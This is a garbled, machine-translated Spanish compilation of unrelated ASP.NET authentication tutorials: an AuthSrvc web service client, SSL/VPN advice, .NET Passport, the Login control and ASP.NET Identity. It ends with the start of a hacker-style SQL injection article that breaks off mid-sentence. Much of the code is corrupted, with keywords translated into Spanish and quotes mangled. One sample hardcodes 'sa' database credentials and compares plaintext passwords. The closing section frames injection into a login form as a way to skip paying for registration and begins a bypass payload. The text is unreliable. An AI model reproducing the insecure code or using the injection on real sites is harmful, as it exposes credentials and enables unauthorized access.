InitializeComponent () Me.Label1 = New System.Windows.Forms.Label Me.Label2 = New System.Windows.Forms.Label Me.txtName = New System.Windows.Forms.TextBox Me.txtPassword = New System.Windows. Forms.TextBox Me.cmdSalir = Nuevo System.Windows.Forms.Button Me.cmdLogin = Nuevo System.Windows.Forms.Button Me.SuspendLayout () "" Label1 "Me.Label1.Location = Nuevo System.Drawing.Point (8 , 8) Me.Label1.Name = "Label1" Me.Label1.Size = New System.Drawing.Size (40, 16) Me.Label1.TabIndex = 0 Me.Label1.Text = "Nombre:" "" Etiqueta2 " Me.Label2.Location = New System.Drawing.Point (8, 40) Me.Label2.Name = "Label2" Me.Label2.Size = New System.Drawing.Size (64, 16) Me.Label2.TabIndex = 1 Me.Label2.Text = "Contraseña:" "" txtName "Me.txtName.Location = Nuevo System.Drawing.Point (80, 5) Me.txtName.Name =" txtName "Me.txtName.Size = Nuevo System.Drawing .Size (216, 20) Me.txtName.TabIndex = 2 Me.txtName.Text = "" "" txtPassword "Me.txtPassword.Location = New System.Drawing.Point (8 0, 37) Me.txtPassword.Name = "txtPassword" Me.txtPassword.PasswordChar = Microsoft.VisualBasic.ChrW (42) Me.txtPassword.Size = New System.Drawing.Size (216, 20) Me.txtPassword.TabIndex = 3 Me.txtPassword.Text = "" "" cmdSalir "Me.cmdSalir.DialogResult = System.Windows.Forms.DialogResult.Cancel Me.cmdSalir.Location = Nuevo System.Drawing.Point (216, 72) Me.cmdSalir.Name = "cmdSalir" Me.cmdSalir.Size = Nuevo System.Drawing.Size (80, 24) Me.cmdSalir.TabIndex = 4 Me.cmdSalir.Text = "Salir" "" cmdLogin "Me.cmdLogin.Location = Nuevo sistema. Drawing.Point (128, 72) Me.cmdLogin.Name = "cmdLogin" Me.cmdLogin.Size = New System.Drawing.Size (80, 24) Me.cmdLogin.TabIndex = 5 Me.cmdLogin.Text = "Iniciar sesión" "" Form1 "Me.AcceptButton = Me.cmdIniciar sesión Me.AutoScaleBaseSize = New System.Drawing.Size (5, 13) Me.CancelButton = Me.cmd Exit Me.ClientSize = New System.Drawing.Size (304, 103) Me. Controls.Add (Me.cmdLogin) Me.Controls.Add (Me.cmdSalir) Me.Controls.Add (Me.txtPassword) Me.Controls.Add (Me.txtNam e) Me.Controls.Add (Me.Label2) Me.Controls.Add (Me.Label1) Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog Me.MaximizeBox = False Me.MinimizeBox = False Me.Name = " Form1 "Me.Text =" Aplicación de prueba AuthSrvc "Me.ResumeLayout (False) End Sub #End Region Private Sub cmdLogin_Click (ByVal sender As System.Object, ByVal e As System.EventArgs) Maneja cmdLogin.Click" Establecer un vínculo al Atenuar objeto au As New localhost.Service1 Dim sErr As String, bln As Boolean "Checking Cursor = Cursors. WaitCursor bln = au.Authenticate (txtName.Text, txtPassword.Text, sErr) Cursor = Cursors.Default "- Pero primero, consideremos las posibles excepciones If sErr<>"" Entonces MsgBox (sErr) Exit Sub End If "- Y ahora vaya a la comprobación principal Si bln = True Entonces MsgBox (" Hola "& txtName.Text, MsgBoxStyle.Information) Else MsgBox (" ¡Datos incorrectos! ", MsgBoxStyle. Exclamación) End If End Sub Private Sub cmdExit_Click (ByVal sender As System.Object, ByVal e As System.EventArgs) Maneja cmdSalir.Click End End Sub End Class

En este ejemplo, puede ver un código muy simple, que consiste en una simple llamada a una función que realiza todas las operaciones necesarias.

Como se mencionó anteriormente, los servicios web están basados ​​en SOAP y, por lo tanto, pueden ser consumidos por aplicaciones que se ejecutan en una plataforma completamente diferente. No iremos demasiado lejos abandonando Windows, pero intentaremos llamar a este mismo servicio Web sin utilizar tecnologías .NET, es decir, directamente a través de SOAP. Para hacer esto, cree el siguiente archivo de secuencia de comandos en Visual Basic Script Edition (VBScript) y ejecútelo:
SOAP.vbs:

"Cree una instancia del objeto SoapClient Set sc = CreateObject (" MSSOAP.SoapClient ")" Conéctese al servicio web y llame al método Authenticate sc.mssoapinit "http: //localhost/AuthSrvc/AuthSrvc.asmx? WSDL" Si sc .Authenticate ("John", "one", s) = True Entonces MsgBox "Hola John", 64 Else MsgBox "¡Datos incorrectos!", 48 End If "Eliminar la referencia al conjunto sc = Nada

Como puede ver, utilizando el modelo de objetos SOAP, puede acceder a los servicios web en una amplia variedad de lenguajes de programación (¡incluso scripts!) Y plataformas.

Pero no todo es tan perfecto como parece. Bajo la hermosa envoltura de los servicios web, existen escollos, en primer lugar, su propia seguridad. Los servicios web tienen una estructura XML desprotegida que se puede interceptar para comprender y recuperar fácilmente los datos transmitidos. Para excluir, o más bien reducir, la probabilidad de tal fuga de información, es necesario proteger los servicios web. Hay una serie de tecnologías para estos fines, pero las más comunes son solo tres de ellas: reglas de firewall, capa de conexión segura (SSL) y red privada virtual (VPN).

Si sabe exactamente qué computadoras accederán a su servicio web, entonces, en este caso, la opción que usa las reglas de Firewall es adecuada para usted, donde puede establecer restricciones y derechos para direcciones IP específicas, por lo que este método es más aplicable para redes locales donde lo hace No tendrás que preocuparte demasiado por la confidencialidad de la información transmitida. Una herramienta muy conveniente para esto es Microsoft Security and Acceleration (ISA) Server. Ofrece reglas de política avanzadas para restringir o, por el contrario, abrir el acceso a la información para clientes específicos.

SSL es el más adecuado para redes de Internet. Al usarlo, los datos se cifran y se transmiten entre el servidor y el cliente; Luego, los datos recibidos se autentican, verificando así si estos datos provienen de la fuente. Esto sucede con el uso de certificados que deben estar ubicados tanto en el servidor como en el cliente, por lo tanto, por un lado, el uso de certificados te permite asegurarte de que los datos caen en las manos adecuadas, pero por otro lado, necesitas para asegurarse de que el destinatario tenga el certificado adecuado. Por lo tanto, para utilizar SSL, necesita:

1. Obtener certificados: existen certificados comerciales y de prueba. La diferencia entre ellos es que el comercial será registrado oficialmente para el comprador y, en consecuencia, costará dinero, mientras que el de prueba se puede obtener de forma gratuita, pero al mismo tiempo sin registro oficial. El certificado se puede obtener en la siguiente dirección: http://www.verisign.com/. Pero no importa qué tipo de certificado solicite, deberá descargar 2: uno para el servidor y el otro para los clientes (también se denomina Autoridad de certificación (CA)).
2. Configure el servidor e instale certificados en los navegadores del cliente: además, para pasar con éxito la autenticación de las solicitudes SSL, debe agregar certificados tanto en el servidor como en las máquinas cliente. Además, los certificados de cliente no están pensados ​​para el ordenador, sino para el navegador, es decir, si el usuario utiliza tanto Internet Explorer como Netscape, es recomendable emitirle certificados para ambos navegadores. Sin embargo, los certificados de servidor también están destinados a diferentes tipos de servidores (puede encontrar certificados para más de 50 tipos de servidores en Verisign), pero la diferencia es que, por regla general, no se modifican, a menos que se instale una nueva versión.

NOTA

Pero, a pesar de la falta de registro oficial, el certificado de prueba es legal.

VPN es una extensión de una red local basada en el uso de lo global, en particular, Internet. Por ejemplo, un usuario que trabaja en una máquina remota puede conectarse a una red local a través de VPN, utilizando Internet. Con esta tecnología, puede enviar datos entre computadoras a través de una conexión segura, ya que una VPN tiene las mismas características de seguridad que una red local. Una de las desventajas de una VPN es la necesidad de una conexión a largo plazo para que funcione de forma eficaz. VPN funciona con los siguientes protocolos de comunicación: Protocolo de túnel punto a punto de Microsoft (PPTP), que se envía con Windows NT 4.0 y Windows 2000, o Protocolo de túnel de capa dos (L2TP), que está disponible en Windows 2000.
NOTA

La lista de sistemas operativos correspondientes contiene solo aquellos, comenzando con las versiones de las cuales estos protocolos estuvieron disponibles, es decir, las versiones posteriores también deben incluirse en estos sistemas operativos, por ejemplo, Windows XP, Windows 2003 Server.

Los servicios web y su seguridad son temas muy interesantes y candentes, dado que el aumento de la popularidad de los servicios web se ha disparado con la llegada de .NET Framework y VS.NET. Pero no profundizaremos en los detalles, sino que volveremos a la corriente principal de este artículo. Usted mismo puede dominar fácilmente todas estas tecnologías. Para hacer esto, solo necesitas un poco de ganas, paciencia y tiempo libre. Solo puedo darte marcas de dirección que pueden guiarte en el curso correcto:

* http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/default.asp
* http://www.microsoft.com/isaserver
* http://support.microsoft.com/default.aspx?scid=kb;EN-US;q307267
* http://www.w3.org/TR/wsdl.html
* http://www.w3.org/TR/SOAP/

Autenticación de pasaporte:

Passport es un sistema de registro uniforme creado por Microsoft y se puede acceder desde cualquier sitio web que sea miembro de esta promoción. Una ventaja importante de esta tecnología es que el usuario no necesita recordar los datos de registro para cada sitio por separado, lo que ocurre a menudo cuando la cuenta a la que está acostumbrado ya está ocupada en un sitio web determinado. Passport te permite solucionar este problema debido a que utiliza una base de datos común de usuarios, por lo tanto, en sitios que soportan .NET passport, siempre ingresarás los mismos datos de registro: tu correo electrónico y contraseña.

La autenticación basada en pasaportes utiliza tecnologías web estándar de la industria para facilitar el uso y la privacidad:

* protocolo SSL seguro
* galletas
* JavaScript 1.2
* cifrado por método 3DES

Para darse cuenta de todo el poder de las capacidades del pasaporte, debe seguir estos pasos:

1. Descargue el SDK de .NET Passport desde la siguiente URL: http: //msdn.microsoft.com/library/default.asp? Url = / downloads / list / websrvpass.asp

2. Después de eso, debe registrar su sitio con el servicio .NET Passport: http://go.microsoft.com/fwlink/?LinkID=9732. Si no se registra, sus opciones serán extremadamente limitadas y no podrá obtener completamente el resultado esperado, por ejemplo, para cerrar la sesión (es decir, cerrar la sesión) tendrá que cerrar todas las ventanas del navegador y luego eliminar todas las cookies .archivos con datos de pasaporte

Al igual que con otros tipos de autenticación, primero debe configurar un archivo de configuración del proyecto. La siguiente lista muestra el contenido básico de la sección de autenticación del archivo de configuración:

En este código, configuramos el tipo de autenticación con un pasaporte, después de lo cual configuramos un único parámetro que configura la autenticación con un pasaporte: la dirección de la página a la que se redirigirá al usuario, si es necesario registrarse:

Otra característica común de todos los tipos de autenticación es la interfaz IIdendity, a partir de la cual se crearon todas las clases de información de usuario para diferentes tipos de autenticación. La autenticación de pasaportes no es una excepción a esta lista, y el objeto System.Web.Security.PassportIdentity de .NET Framework se ha convertido en la herramienta que implementa todas las propiedades básicas.

Para indicar un enlace a la página de registro, es habitual utilizar un logotipo especializado subido a través de Internet. Debido a que este logotipo tiende a usarse mucho, es mejor crear un control separado que implemente el componente de autenticación. Para hacer esto, siga estos pasos:

1. Cree un nuevo proyecto de aplicación web ASP.NET en VS.NET
2. Agregue un control de usuario web personalizado y asígnele el nombre passport.ascx
3. Reemplace su código fuente con lo siguiente:

passport.ascx.vb:

Imports System.Web.Security Public Class passport Inherits System.Web.UI.UserControl #Region "Código generado por el diseñador de formularios web" "El diseñador de formularios web requiere esta llamada. Private Sub InitializeComponent () End Sub "NOTA: El diseñador de formularios web requiere la siguiente declaración de marcador de posición". No lo elimine ni lo mueva. Private designerPlaceholderDeclaration As System.Object Private Sub Page_Init (ByVal sender As System.Object, ByVal e As System.EventArgs) Maneja MyBase.Init "CODEGEN: El diseñador de formularios web requiere esta llamada al método" No lo modifique usando el editor de código ... InitializeComponent () End Sub #End Region Private Sub Page_Load (ByVal sender As System.Object, ByVal e As System.EventArgs) Maneja MyBase.Load Dim id As PassportIdentity "Obtiene datos sobre el id de usuario actual = CType (context.User.Identity , PassportIdentity) "Mostrando el botón de registro Response.Write (id.LogoTag ()) End Sub End Class 1. Luego cambie el nombre de la página del proyecto web a login.aspx e ingrese el siguiente código de estructura de página: login.aspx:<%@ Page Language="vb" AutoEventWireup="false" Codebehind="login.aspx.vb" Inherits="PassAuth.WebForm1"%> <%@ Register TagName="passport" TagPrefix="ctl" src="passport.ascx"%> Acceso

Toda la autenticación de usuario básica se realiza mediante el objeto PassportIdentity, o más bien el servicio Microsoft Passport, al que .NET Framework se conecta mediante el objeto PassportIdentity. Por eso, solo puede obtener los beneficios, pero para saber qué puede y debe obtener exactamente, consulte la tabla 1, que explica todos los atributos posibles que describen al usuario registrado.

Nombre del AtributoDescripción
AccesibilidadDetermina si se deben permitir las opciones de accesibilidad para un determinado
usuario en todos los sitios que son miembros de Microsoft Passport
BDay_precisionDetermina la precisión del atributo Fecha de nacimiento.
Fecha de nacimientoContiene la fecha o año de nacimiento del usuario, según el valor
el atributo BDay_precision
CiudadGeoID que almacena información de ubicación
usuario
PaísCódigo de país del usuario según ISO 3166
DirectorioAún no utilizado
Nombre de pilaNombre de usuario
BanderasContiene opciones de perfil personalizadas
GéneroDetermina el género del usuario.
Lang_PreferenceLCID del idioma nacional del usuario
ApellidoApellido del usuario
MemberIDHighIdentificador de usuario único PUID de alto nivel
MemberIDLowIdentificador de usuario único PUID de bajo nivel
Nombre de miembroContiene nombre de usuario y nombre de dominio, separados por "@"
ApodoDirección amigable para el usuario
OcupaciónContiene información adicional sobre el usuario, en
ocupación particular
Código postalEl código postal del usuario en los Estados Unidos u otro país.
PreferredEmailLa dirección Correo electrónico usuario
ProfileVersionVersión de perfil de usuario
RegiónGeoID que identifica dónde vive el usuario
país
Zona horariaEspecifica la zona horaria en la que vive el usuario.
CarteraDetermina si el usuario almacena su pasaporte en
cartera

Pestaña. 1 - Opciones de perfil de usuario

Hay dos formas de acceder a todos estos atributos: el método GetProfileObject del objeto PassportIdentity y mediante la propiedad Item del mismo objeto. La siguiente lista, escrita en C #, demuestra estos dos métodos en acción:
default.aspx.cs:

utilizando System.Web.Security; … Private void Page_Load (remitente del objeto, System.EventArgs e) (Id. De PassportIdentity; id = (PassportIdentity) User.Identity; Response.Write (id ["Firstname"] + "
"); Response.Write (id.GetProfileObject (" Apellido ") +"
"); }

Ahora regresemos a nuestro proyecto de control passport.ascx y ajustemos la página de registro. Para hacer esto, modifique los archivos login.aspx y login.aspx.vb de la siguiente manera:
login.aspx:

<%@ Page Language="vb" AutoEventWireup="false" Codebehind="login.aspx.vb" Inherits="PassAuth.WebForm1"%> <%@ Register TagName="passport" TagPrefix="ctl" src="passport.ascx"%> Acceso

Por favor Iniciar sesión ...

PUID:
Nombre de pila:
Apellido:
Correo electrónico:

Los controles de inicio de sesión de ASP.NET proporcionan una sólida solución de inicio de sesión para aplicaciones web ASP.NET sin necesidad de programación. De forma predeterminada, los controles de inicio de sesión se integran con la membresía ASP.NET y la autenticación de formularios para ayudar a automatizar la autenticación de usuarios para un sitio web. Le proporciona una interfaz de usuario lista para usar que consulta el nombre de usuario y la contraseña del usuario y ofrece un botón Iniciar sesión para iniciar sesión. Valida las credenciales de usuario contra la API de membresía y encapsula la funcionalidad básica de autenticación froms, como redirigir a la página solicitada original en un área restringida de su aplicación después del inicio de sesión exitoso.

El control de inicio de sesión muestra una interfaz de usuario para la autenticación de usuarios. El control de inicio de sesión contiene cuadros de texto para el nombre de usuario y la contraseña y una casilla de verificación que permite a los usuarios indicar si desean que el servidor almacene su identidad mediante la membresía ASP.NET y que se autentique automáticamente la próxima vez que visiten el sitio.

El control de inicio de sesión tiene propiedades para visualización personalizada, mensajes personalizados y enlaces a otras páginas donde los usuarios pueden cambiar su contraseña o recuperar una contraseña olvidada. El control de inicio de sesión se puede usar como un control independiente en una página principal o de inicio, o puede usarlo en una página de inicio de sesión dedicada. Si usa el control de inicio de sesión con membresía ASP.NET, no necesita escribir código para realizar la autenticación. Sin embargo, si desea crear su propia lógica de autenticación, puede manejar el evento Authenticate del control de inicio de sesión y agregar un código de autenticación personalizado.

Nota: Es posible que los controles de inicio de sesión no funcionen correctamente si el método de la página web ASP.NET se cambia de POST (el predeterminado) a GET.

Siempre que el usuario presiona el botón Iniciar sesión, el control valida automáticamente el nombre de usuario y la contraseña mediante la función de API de membresía Membership.ValidateUse () y luego llama a FormAuthentication.redirectFromLoginPage () si la validación fue exitosa. Todas las opciones de la interfaz de usuario de LoginControl afectan la entrada entregada por el control a estos métodos. Por ejemplo, si hace clic en la casilla de verificación "Recordarme la próxima vez", pasa el valor verdadero al parámetro createPresistentCookie del método RedirectFromLoginPage (). Por lo tanto, FormAuthenticateModule crea una cookie persistente.

Hay tres tareas de inicio de sesión de forma predeterminada.

  • Formato automático: puede seleccionar esquemas predeterminados.
  • Convertir a plantilla: puede editar el contenido de Control de inicio de sesión.
  • Administrar sitio web: puede configurar las herramientas de administración del sitio web, como seguridad, aplicación, proveedor.

  1. "Login1" runat = "server" BackColor = "# F7F7DE" BorderColor = "# CCCC99" BorderStyle = "Solid" BorderWidth = "1px" Font-Names = "Verdana" Font-Size = "10pt">
  • También puede cambiar los estilos de LoginControl usando css, así:

    1. .LoginControl
    2. color de fondo: # F7F7DE;
    3. color del borde: # CCCC99;
    4. estilo de borde: sólido;
    5. ancho del borde: 1px;
    6. familia de fuentes: Verdana;
    7. tamaño de fuente: 10px;

    Y ahora aplique css para controlar:

    1. < html xmlns = "http://www.w3.org/1999/xhtml">
    2. < head runat = "server" >
    3. < title >Control de inicio de sesión
    4. < link href = "StyleSheet.css" type = "text/css" rel = "Stylesheet" />
    5. < body >
    6. < form id = "form1" runat = "server" >
    7. < div >
    8. < asp:Login ID = "Login1" runat = "server" CssClass = "LoginControl" >
    9. < TitleTextStyle BackColor = "#6B696B" Font-Bold = "True" ForeColor = "#FFFFFF" />

    Si está ejecutando la página y si el archivo CSS se coloca en un directorio donde se deniega el acceso anónimo, agregue la siguiente configuración para el archivo CSS a su archivo web.config.

    1. < location path = "StyleSheet.css" >
    2. < system.web >
    3. < authorization >
    4. < allow users = "*" />

    Puede agregar varios hipervínculos a su control de inicio de sesión, como un hipervínculo a una página de texto de ayuda o un hipervínculo a una página de registro.

    1. < asp:Login ID = "Login1" runat = "server" CssClass = "LoginControl"
    2. CreateUserText = "Registrarse"
    3. CreateUserUrl = "~ / Register.aspx"
    4. HelpPageText = "Ayuda adicional" HelpPageUrl = "~ / Help.aspx"
    5. InstructionText = "Introduzca su nombre de usuario y contraseña para iniciar sesión".>
    6. < TitleTextStyle BackColor = "#6B696B" Font-Bold = "True" ForeColor = "#FFFFFF" />

    Se ve como esto:

    Aquí está el código .CS:

    1. usando el sistema;
    2. usando System.Collections.Generic;
    3. utilizando System.Linq;
    4. usando System.Web;
    5. usando System.Web.UI;
    6. utilizando System.Web.UI.WebControls;
    7. utilizando System.Data.SqlClient;
    8. clase pública parcial _Default: System.Web.UI.Page
    9. protegido vacío Page_Load (remitente de objeto, EventArgs e)
    10. si (! this .IsPostBack)
    11. protegido vacío Login1_Authenticate (objeto remitente, AuthenticateEventArgs e)
    12. Si (YourValidationFunction (Login1.UserName, Login1.Password))
    13. // e.Authenticated = true;
    14. Login1.Visible = falso;
    15. MessageLabel.Text = "Inicio de sesión exitoso";
    16. demás
    17. e.Authenticated = falso;
    18. protected void Login1_LoginError (remitente del objeto, EventArgs e)
    19. if (ViewState ["LoginErrors"] == null)
    20. ViewState ["LoginErrors"] = 0;
    21. int ErrorCount = (int) ViewState ["LoginErrors"] + 1;
    22. ViewState ["LoginErrors"] = ErrorCount;
    23. Si ((ErrorCount> 3) && (Login1.PasswordRecoveryUrl! = cadena .vacío))
    24. Response.Redirect (Login1.PasswordRecoveryUrl);
    25. private bool YourValidationFunction (string UserName, string Password)
    26. bool boolReturnValue = falso;
    27. string strConnection = "servidor =.; base de datos = Proveedor; uid = sa; pwd = wintellect;";
    28. SqlConnection sqlConnection = nuevo SqlConnection (strConnection);
    29. Cadena SQLQuery = "SELECCIONAR nombre de usuario, contraseña de inicio de sesión";
    30. Comando SqlCommand = nuevo SqlCommand (SQLQuery, sqlConnection);
    31. SqlDataReader Dr;
    32. sqlConnection.Open ();
    33. Dr = comando.ExecuteReader ();
    34. mientras (Dr. Read ())
    35. si ((UserName == Dr ["UserName" ] .ToString ()) & (Contraseña == Dr ["Contraseña"] .ToString ()))
    36. boolReturnValue = cierto;
    37. Dr.Close ();
    38. return boolReturnValue;
    39. return boolReturnValue;

    Si inserta un nombre de usuario y contraseña incorrectos, el mensaje se mostrará así:

    Si inserta el nombre de usuario correcto, la contraseña, luego redirija su página donde quiera o puede mostrar un mensaje en ErrorLabel, así:

    Adjunto mi base de datos con la aplicación en la carpeta App_Data, si desea usar mi base de datos, adjunte mi archivo .MDF.

    Cualquier duda y consulta me preguntan en cualquier momento.

    Última actualización: 31.10.2015

    El lanzamiento de ASP.NET MVC 5 estuvo marcado por el lanzamiento de un nuevo sistema de autorización y autenticación en aplicaciones .NET llamado ASP.NET Identity. Este sistema reemplaza a los proveedores de membresía simple que se introdujeron en ASP.NET MVC 4.

    Al hacer clic en el botón Cambiar autenticación, podemos cambiar el tipo de autenticación eligiendo uno de los siguientes:

      Sin autenticación: identidad ASP.NET y sin sistema de autenticación integrado

      Cuentas de Usuario Individual: el proyecto incluye por defecto el sistema de Identidad ASP.NET, que permite autorizar tanto a los usuarios dentro de la aplicación como a utilizar servicios externos como google, twitter, etc.

      Cuentas de organización: adecuadas para sitios web y aplicaciones web de empresas y organizaciones individuales

      Autenticación de Windows: un sistema de autenticación para intranets que utilizan cuentas de Windows

    Deje el valor predeterminado, es decir, cuentas de usuario individuales y cree un proyecto.

    El proyecto creado ya tiene por defecto toda la infraestructura necesaria para la autorización: modelos, controladores, vistas. Si miramos el nodo Referencias (Bibliotecas), veremos allí una serie de bibliotecas de claves, que contienen las clases necesarias para la autorización y autenticación:

    Hay una serie de bibliotecas OWIN que agregan funcionalidad OWIN a un proyecto, así como tres bibliotecas de identidad ASP.NET reales:

      Microsoft.AspNet.Identity.EntityFramework: Contiene clases de Entity Framework que usan ASP.NET Identity y se comunican con SQL Serverom

      Microsoft.AspNet.Identity.Core: Contiene una serie de interfaces clave de identidad ASP.NET. La implementación de estas interfaces le permitirá ir más allá de MS SQL Server y utilizar otros DBMS, incluidos los sistemas NoSQL, como almacenamiento de cuentas.

      Microsoft.AspNet.Identity.OWIN: Aporta autenticación OWIN a la aplicación ASP.NET MVC con identidad ASP.NET

    Dado que toda la infraestructura ya está en el proyecto, lanzaremos el proyecto, en la página que se muestra en el navegador, encontraremos el enlace Registrarse y haga clic en él. En la página de registro que se abre, ingrese algunos datos:

    Después del registro, el inicio de sesión se mostrará en la esquina superior derecha de la página web de la aplicación web. Después de registrarnos, podemos cerrar la sesión haciendo clic en Cerrar sesión y volver a iniciar sesión. Por lo tanto, ya podemos comenzar a usar el sistema de autenticación integrado en una aplicación ASP.NET MVC 5. Ahora echemos un vistazo a sus puntos principales.

    Primero, ¿dónde se almacena todo? ¿A dónde van los datos de los usuarios registrados?

    En este caso, se utiliza el enfoque Code First. El archivo web.config ya tiene una cadena de conexión predeterminada que especifica el directorio de la base de datos. Si expandimos la carpeta App_Data, podemos ver la base de datos creada:

    Si de repente la base de datos no está visible en la carpeta, haga clic en el botón Mostrar todos los archivos en la parte superior de la ventana del Explorador de soluciones.

    Podemos abrir esta base de datos en la ventana del Explorador de servidores y ver su contenido:

    De forma predeterminada, cuando el primer usuario inicia sesión, se crea el siguiente conjunto de tablas:

      MigrationHistory: utilizado por EntityFramework para migraciones de bases de datos

      AspNetRoles: contiene definiciones de roles

      AspNetUserClaims: una tabla que almacena un conjunto de reclamos. Claim introduce un modelo de autorización diferente en comparación con los roles. A grandes rasgos, el reclamo contiene cierta información sobre el usuario, por ejemplo, dirección de correo electrónico, nombre de usuario, edad, etc. Y esta información le permite identificar al usuario y otorgarle los derechos de acceso adecuados.

      AspNetUserLogins: tabla de inicios de sesión de usuarios

      AspNetUserRoles: una tabla que establece roles específicos para los usuarios

      AspNetUsers: la tabla de usuarios reales. Si lo abrimos veremos los datos del usuario registrado

    Los objetos clave en AspNet Identity son usuarios y roles. Toda la funcionalidad para crear, eliminar usuarios e interactuar con el repositorio de usuarios se almacena en la clase UserManager. Para trabajar y administrar roles en AspNet Identity, se define la clase RoleManager. Las clases UserManager y RoleManager se encuentran en la biblioteca Microsoft.AspNet.Identity.Core.

    Cada usuario del UserManager representa un objeto de interfaz IUser. Y todas las operaciones de gestión de usuarios se realizan a través del almacenamiento representado por el objeto IUserStore.

    Cada rol representa una implementación de la interfaz IRole y los roles son administrados por la clase RoleManager a través de IRoleStore.

    El espacio de nombres Microsoft.AspNet.Identity.EntityFramework proporciona una implementación directa de las interfaces IUser, IRole, IUserStore e IRoleStore:

    La clase IdentityUser es una implementación de la interfaz IUser. Y la clase de tienda de usuario - UserStore implementa la interfaz IUserStore.

    Asimismo, la clase IdentityRole implementa la interfaz IRole y la clase de tienda de roles RoleStore implementa la interfaz IRoleStore.

    Y para interactuar con la base de datos en el espacio de nombres Microsoft.AspNet.Identity.EntityFramework, se define la clase de contexto IdentityDbContext

    En una aplicación ASP.NET MVC, no trabajaremos directamente con las clases IdentityUser e IdentityDbContext. De forma predeterminada, se agrega un archivo al proyecto en la carpeta Modelos. IdentityModels.cs que contiene definiciones de clases de usuario y contexto de datos:

    ApplicationUser de clase pública: IdentityUser (tarea asíncrona pública GenerateUserIdentityAsync (UserManager manager) (var userIdentity = await manager.CreateIdentityAsync (this, DefaultAuthenticationTypes.ApplicationCookie); return userIdentity;)) clase pública ApplicationDbContext: IdentityDbContext (public ApplicationDbContext (): base ("DefaultConnection", throwIfV1Schema: false) () public static ApplicationDbContext Create () (devuelve nuevo ApplicationDbContext ();))

    En la aplicación, no trabajamos directamente con las clases IdentityUser e IdentityDbContext, sino que estamos tratando con clases heredadas.

    La clase ApplicationUser hereda todas las propiedades de IdentityUser. También agrega un método GenerateUserIdentityAsync (), que crea un objeto ClaimsIdentity llamando a UserManager.CreateIdentityAsync. Este objeto contiene información sobre este usuario.

    Esta arquitectura le permite tomar una funcionalidad lista para usar y, si es necesario, agregar una nueva, por ejemplo, agregar una nueva propiedad para el usuario o agregar una nueva tabla a la base de datos.

    No describiré en detalle toda la funcionalidad de AspNet Identity, que se agrega al proyecto de forma predeterminada, solo describiré brevemente las características principales.

    Primero, para usar AspNet Identity, se agregan dos archivos al proyecto en la carpeta App_Start. Archivo Startup.Auth.cs contiene la clase de inicio para la aplicación OWIN. Dado que AspNet Identity utiliza la infraestructura OWIN, esta clase es una de las claves y necesarias para el trabajo.

    Archivo IdentityConfig.cs contiene una serie de clases auxiliares adicionales: servicios para la validación de dos factores mediante correo electrónico y teléfono EmailService y SmsService, la clase de administrador de usuarios ApplicationUserManager, que agrega una serie de funciones adicionales al UserManager, y la clase ApplicationSignInManager que se usa para iniciar y cerrar sesión desde el sitio.

    La funcionalidad básica del sistema de autenticación y administración de cuentas se encuentra en dos controladores: AccountController y ManageController

    El AccountController define métodos para el inicio de sesión, registro, verificación del código enviado por correo electrónico o SMS, restablecimiento de contraseña, recordatorio de contraseña, inicio de sesión en el sitio utilizando servicios externos. El ManageController se usa para controlar cuenta y asume la capacidad de cambiar la contraseña y administrar los números de teléfono en el sistema. Para ambos controladores, todas las vistas necesarias y los modelos de vistas especiales se generan de forma predeterminada.

    A pesar de que, de forma predeterminada, ya contamos con funciones listas para usar, en algunos casos, por ejemplo, para enviar SMS o correo electrónico, se requiere una configuración adicional. Ahora veamos los puntos principales del sistema AspNet Identity.

    Inyección SQL oportunidad suficientemente buena para que un hacker obtenga
    acceso al servidor. Y con un poco de esfuerzo,
    todavía lo entiendo 🙂

    Codificador en el interior

    Hoy en día se admite trabajar con bases de datos
    casi todos los lenguajes de programación, estos incluyen BASIC, C ++, Java, PERL, PHP, Assembler e incluso JavaScript. Y estos programas no se denominan de otra manera DBMS: sistemas de gestión de bases de datos. Las bases de datos se utilizan a menudo para resolver problemas financieros,
    contabilidad, organización de personal, pero han encontrado su aplicación en Internet.

    Las bases de datos se utilizan a menudo para escribir aplicaciones web. Su uso es más apropiado para almacenar datos de registro de usuarios, ID de sesión, organizar búsquedas y otras tareas que requieren más procesamiento.
    la cantidad de datos. Se utilizan tecnologías de servidor para acceder a la base de datos: PHP, PERL, ASP, etc. Aquí es donde comienza la diversión. Cuando en el servidor
    todos los parches están instalados y el firewall está bloqueando todos los puertos excepto el 80, o cuando se requiere autenticación para acceder a algunos datos, un hacker puede usar SQL Injection para piratear. La esencia de este ataque es aprovechar un error en la unión de tecnologías WEB y SQL. El hecho es que muchas páginas web para el procesamiento de datos de usuario forman un SQL consulta de base de datos. El uso descuidado de esta técnica puede conducir a resultados bastante interesantes ...

    Inyección SQL

    Para explicar el ataque, imaginemos que fue al sitio para descargar una herramienta muy importante y nota con horror que solo un usuario registrado puede hacer esto, y el registro, por supuesto, cuesta dinero 🙂 No quiere dar el último dinero ganado, ¡pero sin el programa puede hacerlo! Es hora de recordar como
    acceso a bases de datos SQL... Por ejemplo, comprobar un nombre de usuario y una contraseña en PHP puede verse así:

    $ resultado = mysql_db_query ($ db, "SELECT * FROM $ table WHERE user =" $ login "Y
    pass = "$ contraseña" ");
    $ num_rows = mysql_num_rows ($ resultado);
    mysql_close ($ enlace);
    si ($ num_rows! = 0)
    {
    // AUTENTICACIÓN OK
    }
    demás
    {
    // ERROR DE AUTENTICACIÓN
    }

    Agregué dos comentarios, "AUTENTICACIÓN OK" - debería en su lugar
    vaya al código que se ejecutará si la contraseña y el inicio de sesión son correctos. Otro "ERROR DE AUTENTICACIÓN" es un lugar donde se describirá el código, el cual se ejecuta en caso de que sea incorrecto. Si completa el formulario, la solicitud se verá como "http://www.server.com?login=user&password=31337", donde www.server.com es el nombre
    el servidor al que intentamos conectarnos. Encontramos lo que buscábamos, y por eso volveremos a trabajar SQL... Entonces, si para la autorización debe especificar un nombre de usuario y contraseña, entonces el SQL la solicitud se verá así:

    SELECCIONE * DE usuarios DONDE login = "usuario" Y
    contraseña = "31337"

    Esto significa algo como lo siguiente: devuélveme todos los registros de la base de datos de usuarios con el "usuario" de inicio de sesión y la contraseña "31337". Si existe tal registro, entonces el usuario está registrado, pero si no, entonces no ... Pero bajo ciertas circunstancias, todo se puede corregir. Esto significa una situación en la que la aplicación no verifica el contenido de los datos transmitidos o no verifica completamente la presencia SQL instrucciones. V este ejemplo se comprueban dos campos de inicio de sesión y contraseña, pero si especifica "31337" Y correo electrónico = "como contraseña [correo electrónico protegido]"(sin comillas dobles), la consulta será ligeramente diferente:

